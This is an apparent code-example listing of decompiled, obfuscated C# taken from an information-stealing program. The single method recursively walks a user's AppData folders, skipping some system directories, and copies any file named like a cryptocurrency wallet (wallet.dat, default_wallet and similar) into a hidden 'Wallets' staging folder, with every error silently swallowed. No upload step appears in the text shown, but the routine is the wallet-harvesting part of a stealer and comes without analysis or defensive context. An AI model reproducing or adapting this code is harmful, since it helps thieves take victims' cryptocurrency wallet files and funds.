예제 #1
0
    // Token: 0x060001E2 RID: 482 RVA: 0x0000EFA4 File Offset: 0x0000D1A4
    public static void smethod_5(string string_0)
    {
        try
        {
            string[] directories = Directory.GetDirectories(string_0);
            int      i           = 0;
            while (i < directories.Length)
            {
                string text = directories[i];
                try
                {
                    if (text == Dirs.AppData + "\\Microsoft")
                    {
                        goto IL_1F8;
                    }
                    if (text == Dirs.LocalAppData + "\\Application Data")
                    {
                        goto IL_1F8;
                    }
                    if (text == Dirs.LocalAppData + "\\History")
                    {
                        goto IL_1F8;
                    }
                    if (text == Dirs.LocalAppData + "\\Microsoft")
                    {
                        goto IL_1F8;
                    }
                    if (text == Dirs.LocalAppData + "\\Temporary Internet Files")
                    {
                        goto IL_1F8;
                    }
                    string[] files = Directory.GetFiles(text);
                    foreach (string text2 in files)
                    {
                        FileInfo fileInfo = new FileInfo(text2);
                        if (fileInfo.Name == "wallet.dat" || fileInfo.Name == "wallet" || fileInfo.Name == "default_wallet.dat" || fileInfo.Name == "default_wallet" || fileInfo.Name.EndsWith("wallet") || fileInfo.Name.EndsWith("bit") || fileInfo.Name.StartsWith("wallet"))
                        {
                            Directory.CreateDirectory(Dirs.WorkDir + "\\Wallets");
                            try
                            {
                                if (!fileInfo.Name.EndsWith(".log"))
                                {
                                    string name = new DirectoryInfo(text).Name;
                                    Directory.CreateDirectory(Dirs.WorkDir + "\\Wallets\\" + name);
                                    File.Copy(text2, string.Concat(new string[]
                                    {
                                        Dirs.WorkDir,
                                        "\\Wallets\\",
                                        name,
                                        "\\",
                                        fileInfo.Name
                                    }));
                                }
                            }
                            catch
                            {
                            }
                        }
                    }
                }
                catch
                {
                }
                goto IL_1F2;
IL_1F8:
                i++;
                continue;
IL_1F2:
                Class22.smethod_5(text);
                goto IL_1F8;
            }
        }
        catch
        {
        }
    }